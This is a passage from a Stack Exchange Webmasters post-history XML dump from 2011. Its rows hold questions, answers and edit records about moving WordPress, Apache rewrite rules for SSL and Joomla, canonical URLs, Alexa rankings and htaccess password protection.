panel and update your Permalink structure to your .htaccess file, which should be in the same directory as the main index.php file.&#xD;&#xA;10. If you have problems with missing images that you've uploaded, you need to change the path to the images on every post directly on your SQL database. For this, follow the instructions on Tamba2's Tutorial &quot;Moving your weblog inside your PC&quot;.&#xD;&#xA;11. You must also check and edit 'store uploads folder' under Settings &gt; Media or all your new uploads will continue to go into the old folder.&#xD;&#xA;12. Existing image/media links uploaded media will refer to the old folder and must be updated with the new location.&#xD;&#xA;13. In some cases your permissions may have changed, depending on your ISP. Watch for any files with &quot;0000&quot; permissions and change them back to &quot;0644&quot;.&#xD;&#xA;14. If your theme supports menus, links to your home page may still have the old subdirectory embedded in them. Go to Appearance::Menus and update them.&#xD;&#xA;&#xD;&#xA;It is important that you set the URI locations BEFORE you move the files." />
  <row Id="34363" PostHistoryTypeId="24" PostId="14637" RevisionGUID="6461498a-9022-4770-9c53-00a448fafbf1" CreationDate="2011-05-31T15:09:36.623" Comment="Proposed by 5847 approved by 7198 edit id of 367" />
  <row Id="34364" PostHistoryTypeId="5" PostId="14637" RevisionGUID="7a3f4acd-42e7-4066-a626-daeb8da4dac4" CreationDate="2011-05-31T15:10:49.523" UserId="7198" Comment="Blockquoted steps to show they came from WordPress docs; deleted 47 characters in body" Text="The WordPress codex has step-by-step instructions for [Moving WordPress Within Your Site:](http://codex.wordpress.org/Moving_WordPress)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&gt; 1. Create the new location using one of these two options: If you will be&#xD;&#xA;&gt; moving your WordPress core files to a&#xD;&#xA;&gt; new directory, create the new&#xD;&#xA;&gt; directory. If you want to move&#xD;&#xA;&gt; WordPress to your root directory, make&#xD;&#xA;&gt; sure all index.php, .htaccess, and&#xD;&#xA;&gt; other files that might be copied over&#xD;&#xA;&gt; are backed up and/or moved, and that&#xD;&#xA;&gt; the root directory is ready for the&#xD;&#xA;&gt; new WordPress files.&#xD;&#xA;&gt; 2. Login to your blog. Go to the Administration &gt; Settings &gt; General&#xD;&#xA;&gt; panel.&#xD;&#xA;&gt; 3. In the box for WordPress address (URI): change the address to the new&#xD;&#xA;&gt; location of your main WordPress core&#xD;&#xA;&gt; files.&#xD;&#xA;&gt; 4. In the box for Blog address (URI): change the address to the new&#xD;&#xA;&gt; location, which should match the&#xD;&#xA;&gt; WordPress address (URI).&#xD;&#xA;&gt; 5. Click Save Settings.&#xD;&#xA;&gt; 6. (Do not try to open/view your blog now!)&#xD;&#xA;&gt; 7. WordPress 2.0 only: Delete the folder wp-content/cache.&#xD;&#xA;&gt; 8. Move your WordPress core files to the new location. This includes the&#xD;&#xA;&gt; files found within the original&#xD;&#xA;&gt; directory, such as&#xD;&#xA;&gt; http://example.com/wordpress, and all&#xD;&#xA;&gt; the sub-directories, to the new&#xD;&#xA;&gt; location.&#xD;&#xA;&gt; 9. If you are using Permalinks, go to the Administration &gt; Settings &gt;&#xD;&#xA;&gt; Permalinks panel and update your&#xD;&#xA;&gt; Permalink structure to your .htaccess&#xD;&#xA;&gt; file, which should be in the same&#xD;&#xA;&gt; directory as the main index.php file.&#xD;&#xA;&gt; 10. If you have problems with missing images that you've uploaded, you need&#xD;&#xA;&gt; to change the path to the images on&#xD;&#xA;&gt; every post directly on your SQL&#xD;&#xA;&gt; database. For this, follow the&#xD;&#xA;&gt; instructions on Tamba2's Tutorial&#xD;&#xA;&gt; &quot;Moving your weblog inside your PC&quot;.&#xD;&#xA;&gt; 11. You must also check and edit 'store uploads folder' under Settings &gt;&#xD;&#xA;&gt;  Media or all your new uploads will continue to go into the old folder.&#xD;&#xA;&gt; 12. Existing image/media links uploaded media will refer to the old&#xD;&#xA;&gt; folder and must be updated with the&#xD;&#xA;&gt; new location.&#xD;&#xA;&gt; 13. In some cases your permissions may have changed, depending on your ISP.&#xD;&#xA;&gt; Watch for any files with &quot;0000&quot;&#xD;&#xA;&gt; permissions and change them back to&#xD;&#xA;&gt; &quot;0644&quot;.&#xD;&#xA;&gt; 14. If your theme supports menus, links to your home page may still have&#xD;&#xA;&gt; the old subdirectory embedded in them.&#xD;&#xA;&gt; Go to Appearance::Menus and update&#xD;&#xA;&gt; them.&#xD;&#xA;&gt; &#xD;&#xA;&gt; It is important that you set the URI&#xD;&#xA;&gt; locations BEFORE you move the files." />
  <row Id="34365" PostHistoryTypeId="2" PostId="14643" RevisionGUID="c3143b68-f7bc-49f6-98d4-f357c8f66cd7" CreationDate="2011-05-31T15:11:42.440" UserId="3328" Text="check out [ForumMatrix](http://www.forummatrix.org/) to compare forums.  It will let you search numerous features and compare the results against each other.&#xD;&#xA;&#xD;&#xA;[![ForumMatrix][1]](http://www.forummatrix.org/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/03yAd.png" />
  <row Id="34366" PostHistoryTypeId="25" PostId="14635" RevisionGUID="c12476d3-859b-4705-a54f-ffc829de3b03" CreationDate="2011-05-31T15:13:26.730" Comment="http://twitter.com/#!/StackWebmasters/status/75580652640141312" />
  <row Id="34367" PostHistoryTypeId="5" PostId="14643" RevisionGUID="2e96481c-73cf-4f45-a8a7-8d87f11661fe" CreationDate="2011-05-31T15:20:49.883" UserId="3328" Comment="edited body" Text="check out [ForumMatrix](http://www.forummatrix.org/) to compare forums.  It will let you search numerous features and compare the results against each other.&#xD;&#xA;&#xD;&#xA;[![ForumMatrix][1]](http://www.forummatrix.org/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/6e53S.png" />
  <row Id="34368" PostHistoryTypeId="5" PostId="848" RevisionGUID="da6cd527-1a63-4bf7-b5dd-6da40eef3116" CreationDate="2011-05-31T15:48:32.407" UserId="5315" Comment="Improved formatting" Text="I have 3 URLS that serve the same data:&#xD;&#xA;&#xD;&#xA; - www.example.com/product/foo&#xD;&#xA; - www.example.com/product/foo?id=1&#xD;&#xA; - www.example.com?product=foo&#xD;&#xA;&#xD;&#xA;For Google's sake I want the URL `www.example.com/product/foo` to be the canonical one.&#xD;&#xA;&#xD;&#xA;However, I have my code setup so all 3 of those pages are served from the same code so if I add in `&lt;link rel='canonical' href='http://www.example.com/product/foo' /&gt;` to my code it will be applied to all 3 pages, including the one `http://www.example.com/product/foo`.&#xD;&#xA;&#xD;&#xA;Is there any issue with doing this or does having a circular canonical not cause any issues?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34369" PostHistoryTypeId="24" PostId="848" RevisionGUID="da6cd527-1a63-4bf7-b5dd-6da40eef3116" CreationDate="2011-05-31T15:48:32.407" Comment="Proposed by 5315 approved by 1253 edit id of 366" />
  <row Id="34370" PostHistoryTypeId="2" PostId="14644" RevisionGUID="3eea9b2e-54f5-46f1-b5e3-93099e2fbcc7" CreationDate="2011-05-31T18:03:39.500" UserId="3922" Text="I'd like to compare the traffic rank for some of the more popular sites in different categories.  If I [search Alexa][1] for `webmasters.stackexchange.com`, for example, the only result is all of Stack Exchange.  Similarly, if I try to search for `answers.yahoo.com` I get the results for all of Yahoo!.  How do you separate out a subdomain when searching for the traffic rank of a site?  I've tried manipulating the Alexa traffic stats URL with no luck.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/search?q=webmasters.stackexchange.com&amp;r=site_siteinfo&amp;p=bigtop" />
  <row Id="34371" PostHistoryTypeId="1" PostId="14644" RevisionGUID="3eea9b2e-54f5-46f1-b5e3-93099e2fbcc7" CreationDate="2011-05-31T18:03:39.500" UserId="3922" Text="How do I find the Alexa traffic rank of a site that uses a subdomain?" />
  <row Id="34372" PostHistoryTypeId="3" PostId="14644" RevisionGUID="3eea9b2e-54f5-46f1-b5e3-93099e2fbcc7" CreationDate="2011-05-31T18:03:39.500" UserId="3922" Text="&lt;alexa&gt;" />
  <row Id="34373" PostHistoryTypeId="25" PostId="14638" RevisionGUID="bd77642a-bf30-4ad9-9d9d-2ca94c3dfff5" CreationDate="2011-05-31T18:13:27.907" Comment="http://twitter.com/#!/StackWebmasters/status/75625954046783488" />
  <row Id="34374" PostHistoryTypeId="2" PostId="14645" RevisionGUID="acd77ee4-8223-4d09-a274-b01db706fda2" CreationDate="2011-05-31T18:29:38.207" UserId="7934" Text="I am not allowed to _post a link_, but if you search for `yoonique markdown extra editor joomla` you should be able to find one. It is not exactly wysiwyg, but it has a preview pane, which updates have after every RETURN. You can also set an option to filter the `markdown extra` output with htmlawed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[edit]&#xD;&#xA;It looks like I am actually able to post a link&#xD;&#xA;&#xD;&#xA;[markdown editor for joomla](http://yoonique.net/index.php?option=com_zoo&amp;task=item&amp;item_id=21)" />
  <row Id="34375" PostHistoryTypeId="2" PostId="14646" RevisionGUID="a880f6e5-86c3-4554-9d05-8d6cf66c24d9" CreationDate="2011-05-31T18:38:53.263" UserId="3328" Text="I don't think you'll be able to get a rank for a subdomain, Alexa groups subdomains together, the only stats visible by subdomain is the percentage of traffic&#xD;&#xA;&#xD;&#xA;from [Stackexchange.com Site Info](http://www.alexa.com/siteinfo/stackexchange.com) on Alexa:&#xD;&#xA;&#xD;&#xA;![Alexa Subdomain Stats][1]&#xD;&#xA;&#xD;&#xA;So you can determine your own subdomain site rank based off % traffic&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/HaZx2.png" />
  <row Id="34376" PostHistoryTypeId="17" PostId="14647" RevisionGUID="4e15008b-d833-4922-91a5-2751c7c68afd" CreationDate="2011-05-31T18:57:48.680" UserId="-1" Comment="from http://stackoverflow.com/questions/6191929/how-to-incorporate-wordpress-blog-into-a-static-website" Text="" />
  <row Id="34377" PostHistoryTypeId="17" PostId="14648" RevisionGUID="64a1b3cb-94d2-49ea-89ff-b0ad18b3e598" CreationDate="2011-05-31T18:57:48.680" UserId="-1" Comment="from http://stackoverflow.com/questions/6191929/how-to-incorporate-wordpress-blog-into-a-static-website" Text="" />
  <row Id="34378" PostHistoryTypeId="2" PostId="14648" RevisionGUID="0e5ead00-9821-46f1-984e-4dcd45fc23ce" CreationDate="2011-05-31T18:41:56.370" UserDisplayName="Ed Charbeneau" Text="I think what you are looking for is a method of displaying blog content on a static site. You could do this several ways. One way would be to use an Iframe, another would be to use a module that allows you to display contents of an RSS feed.&#xD;&#xA;&#xD;&#xA;Here is info about the iframe tag if you are unfamiliar with it.&#xD;&#xA;http://www.w3schools.com/tags/tag_iframe.asp&#xD;&#xA;&#xD;&#xA;For displaying an RSS feed try looking for an open source module like:&#xD;&#xA;http://www.zazar.net/developers/zrssfeed/&#xD;&#xA;&#xD;&#xA;http://www.rssreader.magix-cjquery.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34379" PostHistoryTypeId="2" PostId="14647" RevisionGUID="cac35231-b842-4af3-b49d-85b1418db604" CreationDate="2011-05-31T18:33:54.747" UserDisplayName="Lauren" Text="I'm a designer and front-end web designer and I have a client that wants me to put her wordpress into a static site. Is there a way that I can embed the blog into a new site? Or is there a way that I can create a back door so that even though she cannot read html she can add new updates to the site? &#xD;&#xA;&#xD;&#xA;I've been looking for the answer, but can't seem to figure it out. Please let me know what my options are." />
  <row Id="34380" PostHistoryTypeId="1" PostId="14647" RevisionGUID="cac35231-b842-4af3-b49d-85b1418db604" CreationDate="2011-05-31T18:33:54.747" UserDisplayName="Lauren" Text="How to incorporate WordPress blog into a static website?" />
  <row Id="34381" PostHistoryTypeId="3" PostId="14647" RevisionGUID="cac35231-b842-4af3-b49d-85b1418db604" CreationDate="2011-05-31T18:33:54.747" UserDisplayName="Lauren" Text="&lt;wordpress&gt;&lt;architecture&gt;&lt;blog&gt;" />
  <row Id="34382" PostHistoryTypeId="4" PostId="10470" RevisionGUID="35acb8bf-e592-495e-9b0f-bfaf4b0e8ed6" CreationDate="2011-05-31T18:58:45.500" UserId="5847" Comment="added more descriptive title  w more keywords" Text="How to enable Printing of on-screen Flash Content in Firefox Browser" />
  <row Id="34383" PostHistoryTypeId="6" PostId="10470" RevisionGUID="35acb8bf-e592-495e-9b0f-bfaf4b0e8ed6" CreationDate="2011-05-31T18:58:45.500" UserId="5847" Comment="added more descriptive title  w more keywords" Text="&lt;flash&gt;&lt;firefox&gt;&lt;print&gt;&lt;browser-support&gt;" />
  <row Id="34384" PostHistoryTypeId="24" PostId="10470" RevisionGUID="35acb8bf-e592-495e-9b0f-bfaf4b0e8ed6" CreationDate="2011-05-31T18:58:45.500" Comment="Proposed by 5847 approved by 1253 edit id of 368" />
  <row Id="34385" PostHistoryTypeId="2" PostId="14649" RevisionGUID="6dbdc6e0-14ba-4194-92ea-ce6304372da9" CreationDate="2011-05-31T19:00:55.277" UserId="2496" Text="See http://codex.wordpress.org/Integrating_WordPress_with_Your_Website" />
  <row Id="34392" PostHistoryTypeId="2" PostId="14651" RevisionGUID="9f7bd7f4-2a69-4df9-9d55-9a16adfae9d1" CreationDate="2011-05-31T19:06:35.800" UserId="7935" Text="I wanted to allow access to www.mydomain.com/**login** through ssl only.&#xD;&#xA;E.g.: Whenever someone accessed **http**://www.mydomain.com/**login**, I wanted him to be redirect to **https**://www.mydomain.com/**login** so it's impossible for him/her to access that site without SSL.&#xD;&#xA;&#xD;&#xA;**I accomplished this** by adding the following lines to the virtual host for www.mydomain.com on port 80 in `/etc/apache2/sites-available/default`:&#xD;&#xA;&#xD;&#xA;    RewriteEngine   on&#xD;&#xA;    RewriteCond     %{SERVER_PORT} ^80$&#xD;&#xA;    RewriteRule     ^/login(.*)$ https://%{SERVER_NAME}/login$1 [L,R]&#xD;&#xA;    RewriteLog      &quot;/var/log/apache2/rewrite.log&quot;&#xD;&#xA;&#xD;&#xA;Now, I want to **restrict using SSL** for www.mydomain.com.&#xD;&#xA;That means, whenever someone accessed **https**://www.mydomain.com, I want him to be redirected to **http**://www.mydomain.com (for performance reasons).&#xD;&#xA;&#xD;&#xA;I tried this by adding the following lines to the virtual host of www.mydomain.com on port 443 in `/etc/apache2/sites-available/default-ssl`:&#xD;&#xA;&#xD;&#xA;    RewriteEngine   on&#xD;&#xA;    RewriteCond     %{SERVER_PORT} ^443$&#xD;&#xA;    RewriteRule     ^/(.*)$ http://%{SERVER_NAME}/$1 [L,R]&#xD;&#xA;    RewriteLog      &quot;/var/log/apache2/rewrite.log&quot;&#xD;&#xA;&#xD;&#xA;But when I now try to access www.mydomain.com/**login**, I get an error message that the server has caused **to many redirects**.&#xD;&#xA;That does make sense. Obviously, the two RewriteRules are playing ping-pong against each other.&#xD;&#xA;&#xD;&#xA;How could I work around this?" />
  <row Id="34393" PostHistoryTypeId="1" PostId="14651" RevisionGUID="9f7bd7f4-2a69-4df9-9d55-9a16adfae9d1" CreationDate="2011-05-31T19:06:35.800" UserId="7935" Text="Restrict SSL access for some paths on a apache2 server" />
  <row Id="34394" PostHistoryTypeId="3" PostId="14651" RevisionGUID="9f7bd7f4-2a69-4df9-9d55-9a16adfae9d1" CreationDate="2011-05-31T19:06:35.800" UserId="7935" Text="&lt;apache&gt;&lt;ssl&gt;" />
  <row Id="34395" PostHistoryTypeId="2" PostId="14652" RevisionGUID="e4d2cd4b-1870-47db-b8ef-6c0378f89dee" CreationDate="2011-05-31T19:14:18.237" UserId="7933" Text="Something else is at play here, that is causing &#xD;&#xA;&#xD;&#xA;    http://www.example.biz/dup_folder/inspection11.htm&#xD;&#xA;to be converted to &#xD;&#xA;&#xD;&#xA;    http://www.example.biz/inspection11.htm?q=dup_folder/inspection11.htm&#xD;&#xA;because out of the box, the use of `Redirect 301` should not add that query string.&#xD;&#xA;&#xD;&#xA;So I'd look at the configuration of your site, the `httpd.conf` or the configuration of the relevant apache `Vhost` directive, or indeed existing `.htaccess` files, to see if you can stop whatever custom redirect process is adding the query string there. &#xD;&#xA;&#xD;&#xA;If you can't (find or change), then the following rewrite rule in a `.htaccess` file under /dup_folder/ (assuming you remove the existing `Redirect 301` ) should remove the query string.&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^/dup_folder/(.*)&#xD;&#xA;    RewriteRule .* /inspection11.htm? [R=301,L]&#xD;&#xA;&#xD;&#xA;With the use of a trailing `?` on the rewrite, it will clear off the query string that is being added by something else.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34396" PostHistoryTypeId="2" PostId="14653" RevisionGUID="66b9a4cc-259b-4477-99a3-3306ae4043dd" CreationDate="2011-05-31T20:20:52.917" UserId="7933" Text="In case you didn't get this sorted out, looking at the rewrite rule you have in your pastebin link&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)$ http://www.diviniti.cc/joomla-1.5.20/$1 [R=301,QSA,L]&#xD;&#xA;&#xD;&#xA;there's a few things that are defeating your desires here:&#xD;&#xA;&#xD;&#xA; - the `R=301` directive will make the browser actually 'go away' and load up the rewritten url, changing the URL in the browser&#xD;&#xA; - your desire to *also* redirect any `non-www` subdomains to a `www` subdomain also conflicts with your desire to keep the `joomla` part of the URL hidden from the browser.&#xD;&#xA;&#xD;&#xA;Instead try two rules:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;&#xD;&#xA;    # 1. redirect (bounce) all non-www to www [as per apache docs][1] - retaining query strings&#xD;&#xA;    RewriteCond %{HTTP_HOST}   !^www\.example\.com [NC]&#xD;&#xA;    RewriteCond %{HTTP_HOST}   !^$&#xD;&#xA;    RewriteRule ^/(.*)         http://www.example.com/$1 [L,R,QSA]&#xD;&#xA;&#xD;&#xA;    # 2. then, use joomla but hide the joomla dir - note the lack of 'R' directive&#xD;&#xA;    RewriteRule ^(.*)$ /joomla-1.5.20/$1 [QSA,L]&#xD;&#xA;&#xD;&#xA;If you don't care about enforcing the &quot;all subdomains should be www&quot; just skip rule #1, leave rule #2.&#xD;&#xA;&#xD;&#xA;You don't need the second rewrite you had in your pastebin, for the 'root':&#xD;&#xA;&#xD;&#xA;    # Also redirect the root folder.&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(*.)?diviniti\.cc$&#xD;&#xA;    RewriteRule ^(/)?$ joomla-1.5.20/index.php [L]&#xD;&#xA;&#xD;&#xA;because the `^(.*)$` in my supplied rewrite also matches the case where the url is `http://www.example.com/`&#xD;&#xA;&#xD;&#xA;Now, it's possible that Joomla itself will not be happy with this chicanery, it may deeply not like being at this pseudo-root while the documentroot says something else and it's possible it will barf.&#xD;&#xA;&#xD;&#xA;1 : http://www.purpleslurple.net/ps.php?theurl=http://httpd.apache.org/docs/2.0/misc/rewriteguide.html#purp130 &quot;per apache docs&quot;" />
  <row Id="34397" PostHistoryTypeId="2" PostId="14654" RevisionGUID="55599c3d-a41c-4163-aa34-5a9fad3fe9f1" CreationDate="2011-05-31T21:11:48.640" UserId="5847" Text="You should designate a 410 HTTP Status Code (GONE).&#xD;&#xA;&#xD;&#xA;The requested resource is no longer available at the server and no forwarding address is known. This condition is expected to be considered permanent. Clients with link editing capabilities SHOULD delete references to the Request-URI after user approval.&#xD;&#xA;&#xD;&#xA;If the server does not know, or has no facility to determine, whether or not the condition is permanent, the status code 404 Not Found SHOULD be used instead. This response is cacheable unless indicated otherwise.&#xD;&#xA;&#xD;&#xA;The 410 response is primarily intended to assist the task of web maintenance by notifying the recipient that the resource is intentionally unavailable and that the server owners desire that remote links to that resource be removed. &#xD;&#xA;&#xD;&#xA;Such an event is common for limited-time, promotional services and for resources belonging to individuals no longer working at the server's site. It is not necessary to mark all permanently unavailable resources as &quot;gone&quot; or to keep the mark for any length of time -- that is left to the discretion of the server owner." />
  <row Id="34398" PostHistoryTypeId="25" PostId="14631" RevisionGUID="c5a8d948-e019-4a83-a2b5-303d79a25e69" CreationDate="2011-05-31T21:13:27.957" Comment="http://twitter.com/#!/StackWebmasters/status/75671254048325633" />
  <row Id="34399" PostHistoryTypeId="2" PostId="14655" RevisionGUID="3bd4b553-9228-412a-91a5-c38a185321a1" CreationDate="2011-05-31T22:03:35.940" UserId="7933" Text="Can you try changing &#xD;&#xA;&#xD;&#xA;    Redirect ^(.*)$ =&gt; index.php$1&#xD;&#xA;&#xD;&#xA;to be:&#xD;&#xA;&#xD;&#xA;    Redirect ^(.*)$ =&gt; /index.php?$1&#xD;&#xA;&#xD;&#xA;You may need to play around, the addition of `/` and `?` are intended to stop the looping. `/` alone may be sufficient.&#xD;&#xA;&#xD;&#xA;You might find [this answer on server fault](http://serverfault.com/questions/270968/apache-mod-rewrite-not-configured-properly/272714#272714) relevant to your issue - even if cherokee and kohanna have their own syntaxes." />
  <row Id="34401" PostHistoryTypeId="2" PostId="14656" RevisionGUID="15725539-ead2-4a8e-a3e8-2ddc1a01b084" CreationDate="2011-05-31T22:19:57.947" UserId="7933" Text="The examples you shared here don't require rewriterules on amazon s3 itself, the redirections all happen on the `www.example.com` site: so either in `.htaccess` or `vhost` conf or `httpd.conf`:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^/(about|welcome|contact)\.html$ http://mybucket.s3.amazon.com/index.html [R,L]&#xD;&#xA;&#xD;&#xA;Granted, this will change the URL shown in the browser. If you want to do this without it being so apparent to the end user, then as @piers says, you will need to [add a cname for your bucket on s3](http://imtips.co/customizing-amazon-s3-urls-with-cname.html). and then reference/link to these files at your new `http://mybucketalias.example.com/index.html` address." />
  <row Id="34402" PostHistoryTypeId="2" PostId="14657" RevisionGUID="158ac7ab-499a-4b8a-89c8-6e288f5bb016" CreationDate="2011-05-31T22:28:27.893" UserId="7938" Text="Not exactly what you are looking for in regards to you hosting it yourself, but http://www.transferbigfiles.com/ provides a free Mac and Windows file sending service similar to yousendit.&#xD;&#xA;&#xD;&#xA;They do have a free plan, but it has some size limitations. Their professional plans work really well with their desktop applications though." />
  <row Id="34403" PostHistoryTypeId="2" PostId="14658" RevisionGUID="203aa1c7-2bd4-4e3b-86ae-06aa11ff1d0d" CreationDate="2011-05-31T22:31:28.657" UserId="7938" Text="File a complaint with the actual company that registered the domain as well, not just ICANN.. They will have his billing adress and a working email to notify them that they have to update their who.is info.&#xD;&#xA;&#xD;&#xA;I would also keep filing complaints to ICANN every so often." />
  <row Id="34404" PostHistoryTypeId="17" PostId="14659" RevisionGUID="7da61aa2-cf08-452d-84a4-e35703d71320" CreationDate="2011-06-01T00:01:42.220" UserId="-1" Comment="from http://stackoverflow.com/questions/6175743/siteground-hosting-forwarding" Text="" />
  <row Id="34405" PostHistoryTypeId="2" PostId="14659" RevisionGUID="6c4f586b-de28-445a-b96e-35c0ee15f9ee" CreationDate="2011-05-30T11:33:14.487" UserDisplayName="Oleg Videnov" Text="I would like to ask (maybe simple) question for you.&#xD;&#xA;&#xD;&#xA;I have a website which is called let's say&#xD;&#xA;www.website1.com&#xD;&#xA;&#xD;&#xA;on different hosting provider(siteground) I have &#xD;&#xA;www.website2.com&#xD;&#xA;&#xD;&#xA;Now,www.website1.com is the old website and the boss wants ..&#xD;&#xA;IF someone clicks on www.website1.com/user/content/1, he/she should be redirected to&#xD;&#xA;www.website2.com/user/content/1 ,but the url should REMAIN www.website1.com/user/content/1&#xD;&#xA;and the same thing for all the pages.&#xD;&#xA;&#xD;&#xA;If someone have an answer how to do it,it would be much appreciated.&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;Oleg Videnov" />
  <row Id="34406" PostHistoryTypeId="1" PostId="14659" RevisionGUID="6c4f586b-de28-445a-b96e-35c0ee15f9ee" CreationDate="2011-05-30T11:33:14.487" UserDisplayName="Oleg Videnov" Text="siteground hosting forwarding" />
  <row Id="34407" PostHistoryTypeId="3" PostId="14659" RevisionGUID="6c4f586b-de28-445a-b96e-35c0ee15f9ee" CreationDate="2011-05-30T11:33:14.487" UserDisplayName="Oleg Videnov" Text="&lt;url&gt;&lt;web-hosting&gt;&lt;masking&gt;" />
  <row Id="34408" PostHistoryTypeId="25" PostId="14613" RevisionGUID="f5e75698-aac1-4b3a-8909-5f8a0ed6bba2" CreationDate="2011-06-01T00:13:32.093" Comment="http://twitter.com/#!/StackWebmasters/status/75716570508304384" />
  <row Id="34409" PostHistoryTypeId="2" PostId="14660" RevisionGUID="4ee8af4c-05b7-4588-b858-20a404476c2e" CreationDate="2011-06-01T01:33:46.190" UserId="7465" Text="There's two ways you can do it. &quot;Reverse engineer&quot; the database and use MySQL in PHP code to get the news articles, though it's pretty trivial, and use a few filter functions defined in the WP headers to transform the post content.&#xD;&#xA;&#xD;&#xA;Or use the functions entirely from the WP headers, described in http://codex.wordpress.org/Integrating_WordPress_with_Your_Website.&#xD;&#xA;&#xD;&#xA;I did this with my band's website and use Disqus comments to add comments to my static site, but didn't think of using the functions method and went for... manual approach. Either way, it's basically just getting the post data yourself and spewing it out using PHP." />
  <row Id="34410" PostHistoryTypeId="5" PostId="4286" RevisionGUID="30f8bffa-a9be-4b1c-b5b8-ac29d0e0c33c" CreationDate="2011-06-01T01:35:45.317" UserId="1218" Comment="wrong date/broken brackets" Text="Have a look at Netcraft's [Hosting Provider's Network Performance][1], it has a lot of great information such as:&#xD;&#xA;&#xD;&#xA; - Downtime (in HH:MM::SS as well as a percentage)&#xD;&#xA; - Connection time&#xD;&#xA; - Time to delivery of the first byte&#xD;&#xA;and several other metrics.&#xD;&#xA;&#xD;&#xA;As they've been doing this for so long (since 1995), this is probably the best first place to look for objective data.&#xD;&#xA;&#xD;&#xA;I don't think it gives details for different products, as you asked for:&#xD;&#xA;&#xD;&#xA;&gt; Media Temple Grid Service and Media&#xD;&#xA;&gt; Temple Dedicated Virtual should be&#xD;&#xA;&gt; listed as separate Answers&#xD;&#xA;&#xD;&#xA;  [1]: http://uptime.netcraft.com/perf/reports/Hosters" />
  <row Id="34411" PostHistoryTypeId="2" PostId="14661" RevisionGUID="9dafd005-4315-47dd-b121-6f6356e2d9f3" CreationDate="2011-06-01T02:27:49.773" UserId="7909" Text="I have Drupal 6 installed on a Godaddy server. The email functionality used to work fine, but about a month ago they moved my site to their newer generation of server, and I discovered today after setting up some triggers that Drupal's no longer sending emails, including contact form emails. &#xD;&#xA;&#xD;&#xA;Can anyone direct me to a concise guide to configuring Drupal email functionality in general, or specifically for godaddy? I tried looking on Godaddy's support site but couldn't find anything useful (big surprise there). &#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;- Simon" />
  <row Id="34412" PostHistoryTypeId="1" PostId="14661" RevisionGUID="9dafd005-4315-47dd-b121-6f6356e2d9f3" CreationDate="2011-06-01T02:27:49.773" UserId="7909" Text="How to configure Drupal email functionality on Godaddy" />
  <row Id="34413" PostHistoryTypeId="3" PostId="14661" RevisionGUID="9dafd005-4315-47dd-b121-6f6356e2d9f3" CreationDate="2011-06-01T02:27:49.773" UserId="7909" Text="&lt;drupal&gt;&lt;email&gt;&lt;godaddy&gt;" />
  <row Id="34414" PostHistoryTypeId="25" PostId="14661" RevisionGUID="19bc01b8-32b6-4c9d-8454-ad91172a5ddc" CreationDate="2011-06-01T03:13:32.847" Comment="http://twitter.com/#!/StackWebmasters/status/75761871562612736" />
  <row Id="34415" PostHistoryTypeId="25" PostId="14644" RevisionGUID="2181f3de-07fa-4db4-9279-1943866c3c46" CreationDate="2011-06-01T06:13:32.230" Comment="http://twitter.com/#!/StackWebmasters/status/75807166799421440" />
  <row Id="34416" PostHistoryTypeId="17" PostId="14662" RevisionGUID="f7beb0f6-dc36-46c8-8fad-5f99888afb86" CreationDate="2011-06-01T06:17:19.433" UserId="-1" Comment="from http://superuser.com/questions/291381/trying-to-add-a-private-zone-to-a-website" Text="" />
  <row Id="34417" PostHistoryTypeId="2" PostId="14662" RevisionGUID="04bfe524-fdd6-4493-acc1-9d93d1e9b6ec" CreationDate="2011-06-01T06:15:18.813" UserDisplayName="waszkiewicz" Text="I have the following website: villa-kubu.de, and I'm fighting to get my plan to work.&#xD;&#xA;I'm trying to add a &quot;login page&quot; as soon as someone clicks on the Galerie, in order to keep the pictures only between the members of the school.&#xD;&#xA;&#xD;&#xA;I tried several options, even designed a page named &quot;login.htm&quot; but I can't get it to work the way I want! I'd like a single username and password, so no need to setup a database.&#xD;&#xA;&#xD;&#xA;Otherwise, I was thinking about creating a new &quot;sub-domain&quot; and a new website attached to it, and just link it from the Galerie page.&#xD;&#xA;&#xD;&#xA;Does anyone have a good idea how I can do it? It also has to be easy... Thanks a lot in advance for your help!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34418" PostHistoryTypeId="1" PostId="14662" RevisionGUID="04bfe524-fdd6-4493-acc1-9d93d1e9b6ec" CreationDate="2011-06-01T06:15:18.813" UserDisplayName="waszkiewicz" Text="Trying to add a private zone to a website." />
  <row Id="34419" PostHistoryTypeId="3" PostId="14662" RevisionGUID="04bfe524-fdd6-4493-acc1-9d93d1e9b6ec" CreationDate="2011-06-01T06:15:18.813" UserDisplayName="waszkiewicz" Text="&lt;websites&gt;&lt;html&gt;&lt;web-design&gt;" />
  <row Id="34420" PostHistoryTypeId="2" PostId="14663" RevisionGUID="42386349-af45-4639-9afb-4190a1fe4e5e" CreationDate="2011-06-01T06:42:46.233" UserId="7942" Text="Can't you use [htaccess][1]? It might be what you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Htaccess" />
  <row Id="34421" PostHistoryTypeId="2" PostId="14664" RevisionGUID="f5c7ba17-e048-4cd0-9dab-41c673b12c6e" CreationDate="2011-06-01T07:23:19.413" UserId="7943" Text="If you have access to VGA fess that will do it. Check out: http://www.elated.com/articles/password-protecting-your-pages-with-htaccess/ for a tutorial." />
